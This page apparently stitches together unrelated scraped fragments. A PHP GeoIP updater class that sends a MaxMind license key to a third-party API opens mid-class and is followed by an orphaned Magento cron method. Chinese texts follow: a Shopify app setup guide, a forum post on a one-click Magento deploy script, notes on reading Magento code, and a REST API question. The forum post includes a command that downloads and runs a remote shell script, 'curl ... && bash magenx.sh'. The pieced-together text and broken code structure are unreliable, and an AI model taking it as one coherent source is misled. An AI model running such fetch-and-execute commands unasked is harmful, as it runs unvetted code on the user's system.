* @link https://www.maxmind.com/en/accounts/current/geoip/downloads/
*/
public $editions;
/**
* @var string Destination directory. Directory where your copies of databases are stored. Your old databases will be updated there.
*/
public $dir;
protected $_editionVersions = array();
protected $_baseUrlApi = 'https://www.geodbase-update.com/api/v1/edition';
protected $_updated = array();
protected $_errors = array();
protected $_errorUpdateEditions = array();
protected $_lastModifiedStorageFileName = 'VERSION.txt';
protected $_client = 1;
protected $_client_version = '2.3.1';
public function __construct(array $params)
{
$this->setConfParams($params);
$thisClass = new ReflectionClass($this);
foreach ($params as $key => $value)
if ($thisClass->hasProperty($key) && $thisClass->getProperty($key)->isPublic()) {
$this->$key = $value;
} else {
$this->_errors[] = "The \"{$key}\" parameter does not exist. Just remove it from the options. See https://www.geodbase-update.com";
}
}
/**
* Update info.
* @return array
*/
public function updated()
{
return $this->_updated;
}
/**
* Update errors.
* @return array
*/
public function errors()
{
return array_merge($this->_errors, array_values($this->_errorUpdateEditions));
}
/**
* Database update launcher.
* @throws Exception
*/
public function run()
{
if (!$this->validate()) {
return;
}
$this->updateEdition((string)$this->editions);
}
protected function setConfParams(&$params)
{
if (array_key_exists('geoipConfFile', $params)) {
if(is_file($params['geoipConfFile']) && is_readable($params['geoipConfFile'])) {
$confParams = array();
foreach (file($params['geoipConfFile']) as $line) {
$confString = trim($line);
if (preg_match('/^\s*(?P<name>LicenseKey|EditionIDs)\s+(?P<value>([\w-]+\s*)+)$/', $confString, $matches)) {
$confParams[$matches['name']] = $matches['name'] === 'EditionIDs'
? array_values(array_filter(explode(' ', $matches['value']), function ($val) {
return trim($val);
}))
: trim($matches['value']);
}
}
$this->license_key = !empty($confParams['LicenseKey']) ? $confParams['LicenseKey'] : $this->license_key;
$this->editions = !empty($confParams['EditionIDs']) ? $confParams['EditionIDs'] : $this->editions;
} else {
$this->_errors[] = 'The geoipConfFile parameter was specified, but the file itself is missing or unreadable. See https://www.geodbase-update.com';
}
unset($params['geoipConfFile']);
}
}
/**
* @return bool
*/
protected function validate()
{
if (!empty($this->_errors)) {
return false;
}
switch (true) {
case empty($this->dir):
$this->_errors[] = 'Destination directory not specified. See documentation at https://www.geodbase-update.com';
break;
case !is_dir($this->dir):
$this->_errors[] = "The destination directory \"{$this->dir}\" does not exist. See documentation at https://www.geodbase-update.com";
break;
case !is_writable($this->dir):
$this->_errors[] = "The destination directory \"{$this->dir}\" is not writable. See documentation at https://www.geodbase-update.com";
}
if (empty($this->license_key)) {
$this->_errors[] = 'You must specify your Maxmind "license_key". See documentation at https://www.geodbase-update.com';
}
if (empty($this->editions)) {
$this->_errors[] = "No GeoIP revision names are specified for the update. See documentation at https://www.geodbase-update.com";
}
if (!empty($this->_errors)) {
return false;
}
return true;
}
/**
* @param string $editionId
* @throws Exception
*/
protected function updateEdition(string $editionId)
{
$remoteEditionData = $this->getRemoteEditionData($editionId);
if (!empty($this->_errorUpdateEditions[$editionId])) {
return;
}
if ($remoteEditionData['ext'] === self::ARCHIVE_ZIP && !class_exists('\ZipArchive')) {
$this->_errorUpdateEditions[$editionId] = "PHP zip extension is required to update csv databases. See https://www.php.net/manual/en/zip.installation.php to install zip php extension.";
return;
}
$remoteActualVersion = date_create($remoteEditionData['version']);
$localEditionData = is_file($this->getEditionDirectory($editionId) . DIRECTORY_SEPARATOR . $this->_lastModifiedStorageFileName) ?
file_get_contents($this->getEditionDirectory($editionId) . DIRECTORY_SEPARATOR . $this->_lastModifiedStorageFileName) : '';
$currentVersion = date_create_from_format('Y-m-d\TH:i:sP',$localEditionData) ?: 0;
$this->_editionVersions[$editionId] = [
!empty($currentVersion) ? $currentVersion->format('c') : 0,
$remoteActualVersion->format('c')
];
if (empty($currentVersion) || $currentVersion != $remoteActualVersion) {
$this->download($remoteEditionData);
if (!empty($this->_errorUpdateEditions[$editionId])) {
return;
}
$this->extract($remoteEditionData);
if (!empty($this->_errorUpdateEditions[$editionId])) {
return;
}
$this->_updated[] = "$editionId has been updated.";
} else {
$this->_updated[] = "$editionId does not need to be updated.";
}
}
/**
* @param $editionId
* @return string
*/
protected function getEditionDirectory($editionId): string
{
return $this->dir . DIRECTORY_SEPARATOR . $editionId;
}
/**
* @param string $editionId
* @return array
*/
protected function getRemoteEditionData(string $editionId): array
{
$ch = curl_init(trim($this->_baseUrlApi,'/').'/'.'data'.'?'. http_build_query(array(
'id' => $editionId,
)));
curl_setopt_array(
$ch,
[
CURLOPT_HEADER => false,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_CUSTOMREQUEST => 'POST',
CURLOPT_HTTPHEADER => [
'Content-Type: application/json',
'Accept: application/json',
'X-Api-Key: '.$this->geodbase_update_key
],
CURLOPT_POSTFIELDS => json_encode(
[
'maxmind_key' =>$this->license_key,
'client' => $this->_client,
'client_version' => $this->_client_version
]
)
]
);
$result = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if(empty($httpCode)){
$this->_errorUpdateEditions[$editionId] = "The remote server is not available.";
return [];
}
$resultArray = json_decode($result,true);
if($httpCode !== 200){
$this->_errorUpdateEditions[$editionId] = $resultArray['data']['message'] ?: $resultArray['data']['name'];
return [];
}
return $resultArray['data'];
}
/**
* @param array $remoteEditionData
*/
protected function download($remoteEditionData)
{
$ch = curl_init(
trim($this->_baseUrlApi,'/').'/'.'download'.'?'. http_build_query(
['request_id' => $remoteEditionData['request_id']]
)
);
$fh = fopen($this->getArchiveFile($remoteEditionData), 'wb');
curl_setopt_array($ch, array(
CURLOPT_CUSTOMREQUEST => 'GET',
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_HTTPHEADER => array(
'Content-Type: application/json',
'X-Api-Key: '.$this->geodbase_update_key,
),
CURLOPT_FILE => $fh,
));
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
fclose($fh);
if ($response === false || $httpCode !== 200){
if(is_file($this->getArchiveFile($remoteEditionData)))
unlink($this->getArchiveFile($remoteEditionData));
$this->_errorUpdateEditions[$remoteEditionData['id']] = "Download error: ($httpCode)" . curl_error($ch);
}
}
protected function getArchiveFile($remoteEditionData)
{
return $this->dir . DIRECTORY_SEPARATOR . $remoteEditionData['id'] . '.' . $remoteEditionData['ext'];
}
/**
* @param array $remoteEditionData
*/
protected function extract(array $remoteEditionData)
{
switch ($remoteEditionData['ext']) {
case self::ARCHIVE_GZ:
if (!in_array('phar', stream_get_wrappers(), true)) {
stream_wrapper_restore('phar');
}
$phar = new PharData($this->getArchiveFile($remoteEditionData));
$phar->extractTo($this->dir, null, true);
break;
case self::ARCHIVE_ZIP:
$zip = new ZipArchive;
$zip->open($this->getArchiveFile($remoteEditionData));
$zip->extractTo($this->dir);
$zip->close();
break;
}
unlink($this->getArchiveFile($remoteEditionData));
if (!is_dir($this->getEditionDirectory($remoteEditionData['id']))) {
mkdir($this->getEditionDirectory($remoteEditionData['id']));
}
$directories = new DirectoryIterator($this->dir);
foreach ($directories as $directory) {
/* @var DirectoryIterator $directory */
if ($directory->isDir() && preg_match('/^' . $remoteEditionData['id'] . '[_\d]+$/i', $directory->getBasename())) {
$newEditionDirectory = new DirectoryIterator($directory->getPathname());
foreach ($newEditionDirectory as $item)
if ($item->isFile()) {
rename($item->getPathname(), $this->getEditionDirectory($remoteEditionData['id']) . DIRECTORY_SEPARATOR . $item->getBasename());
}
file_put_contents($this->getEditionDirectory($remoteEditionData['id']) . DIRECTORY_SEPARATOR . $this->_lastModifiedStorageFileName, $remoteEditionData['version']);
$this->deleteDirectory($directory->getPathname());
break;
}
}
$this->copyFiles($remoteEditionData);
}
/**
* @param $remoteEditionData
*/
public function copyFiles($remoteEditionData)
{
$directoryPath = $this->dir . DIRECTORY_SEPARATOR . $remoteEditionData['id'];
$sourceFile = $this->dir . DIRECTORY_SEPARATOR . $remoteEditionData['id'] . DIRECTORY_SEPARATOR . $remoteEditionData['id'] . '.mmdb';
$targetFile = $this->dir . DIRECTORY_SEPARATOR . $remoteEditionData['id'] . '.mmdb';
$content = file_get_contents($sourceFile);
file_put_contents($targetFile, $content);
$this->deleteDirectory($directoryPath);
}
/**
* @param string $directoryPath
*/
protected function deleteDirectory(string $directoryPath)
{
if (is_dir($directoryPath)) {
$directory = new RecursiveDirectoryIterator($directoryPath, FilesystemIterator::SKIP_DOTS);
$children = new RecursiveIteratorIterator($directory, RecursiveIteratorIterator::CHILD_FIRST);
foreach ($children as $child)
/* @var RecursiveDirectoryIterator $child */
$child->isDir() ? rmdir($child) : unlink($child);
rmdir($directoryPath);
}
}
}
//调用数据库更新
public function execute()
{
// 获取 License key
$licenseKey = $this->helperData->getLicenseKey();
// 指定下载目录
$downloadPath = $this->directoryList->getPath('var') . $this->helperData->getDownloadPath();
if (!is_dir($downloadPath)) {
mkdir($downloadPath, 0755, true);
}
$client = new Client(
[
'license_key' => $licenseKey,
'dir' => $downloadPath,
'editions' => 'GeoLite2-Country',
]
);
$client->run();
}
在 Windows 系统上开发 Shopify 插件(通常称为 Shopify Apps)是完全可行的。Shopify 应用可以是独立的网络应用程序,它与 Shopify 店铺通过 Shopify API 交互。以下是开发 Shopify 应用的完整流程:
1. 环境设置
设置开发环境
首先,确保你的 Windows 机器安装有以下工具:
- 文本编辑器或IDE(如 Visual Studio Code, Sublime Text, JetBrains PhpStorm)
- Ruby(Shopify CLI 需要 Ruby 来运行)
- Node.js(用于 Shopify Node.js 或 React 应用)
- Git(代码版本控制)
- Shopify CLI(命令行工具,用于创建和管理 Shopify 应用)
你可以从 Shopify 的官方网站下载并安装 Shopify CLI。
安装 Shopify CLI
在 Windows 上安装 Shopify CLI,通常可以通过 RubyGems 安装:
gem install shopify-cli
2. 注册 Shopify 开发者账号
- 访问 Shopify Partners 网站并注册一个开发者账号。
- 创建一个 Partners 账户后,你可以创建开发商店,用于测试和开发应用。
3. 创建新的 Shopify 应用
- 在 Shopify Partner Dashboard 中创建一个新的应用。
- 设置应用的配置,包括应用名称、URL、回调地址等。
4. 开发应用
使用 Shopify CLI 创建应用
在命令行中运行以下命令来创建一个新的 Shopify 应用(支持 Node.js 和 Ruby on Rails):
shopify app create node
或
shopify app create rails
这些命令将生成一个应用的基础架构,包括用于与 Shopify API 交互的一些初始代码。
开发功能
根据你的应用需求,你可能需要开发以下功能:
- 认证和授权(使用 OAuth)
- 与 Shopify API 交互
- 前端界面(如果是嵌入式应用,使用 Polaris 或其他前端框架)
- Webhooks 处理
- 定期任务处理
5. 测试应用
- 使用你的开发商店测试应用功能。
- 确保所有功能在实际场景下都能正常工作。
6. 部署应用
- 将应用部署到生产环境。通常可以使用云服务平台,如 Heroku、AWS、Azure 等。
- 更新应用的配置,确保所有生产环境的 URL 和回调地址都是正确的。
7. 提交应用审核
- 如果你打算将应用发布到 Shopify App Store,则需要提交给 Shopify 进行审核。
- 遵循 Shopify 的应用审核指南和最佳实践,确保应用符合所有要求。
8. 发布应用
- 审核通过后,你的应用就可以在 Shopify App Store 上架了。
- 根据用户反馈和需求,继续维护和更新应用。
使用 Windows 开发 Shopify 应用完全可行,重要的是遵循开发和部署的最佳实践,并确保提供高质量的用户体验。
前几天逛github,无意中发现了国外大神(magenx)的一键部署命令,然后做了测试,第一次部署因为没细看,导致中途出了很多问题;后面认真理解了部署步骤命令跟着操作后很顺利,总体而言还是比较不错,推荐一下;
环境:debian11/unbuntu20.04(貌似也支持centos,但是我没有实测);
我的环境是ubuntu20.04,空白环境;
话不多说,直接上命令;
curl -Lo magenx.sh https://magenx.sh && bash magenx.sh 执行操作后,就开始跑了,会自动安装环境所需,自动更改SSH端口,请留意窗口展示,(为啥我不能上传图片) 执行命令过程中每个环境所需的每个软件安装都需要确认,包括magento版本选择等; lemp,magento,database,install,config,执行完成后根据自己的需求可以继续安装webmin和firewell; 最后执行certbot certonly --agree-tos --no-eff-email --email {EMAIL} --webroot -w /home/{USER}/public_html/pub 生成ssl;并修改相关的配置文件
- /etc/nginx/nginx.conf
- /etc/nginx/sites-available/{DOMAIN_NAME}.conf
- /etc/nginx/conf_m2/varnish_proxy.conf
- 然后就可以上线了
新人报道magento,多多关照
magento的代码高度模块化,阅读时一般分模块阅读。在阅读某个模块的代码的时候可以把代码大致分成三类:
-
实现/继承了其他模块的接口/类的代码
-
本模块对外定义的接口/类
-
本模块内部使用的接口/类
对于第1类代码,需要在熟悉关联模块的代码的基础之上再阅读(或者说在读之前,先要阅读关联模块的代码。)。这类代码一般处于和关联模块名同名的文件夹下。
对于第2类代码,模块可能会定义多个类和接口,这些类与接口之间的组合关系可能会用到行为型模式,比如:策略模式、状态模式、观察者模式等等。(通常都只是简单组合,行为型模式本质就是低耦合,只是组合之外符合特定行为定义而已。)
通常
看magento自带一套restapi,看了作者写的api章节要用这个restapi要先在后台建立一个用户,但是我们网站上都已经有很多用户了,怎么直接用网站上现有的用户?
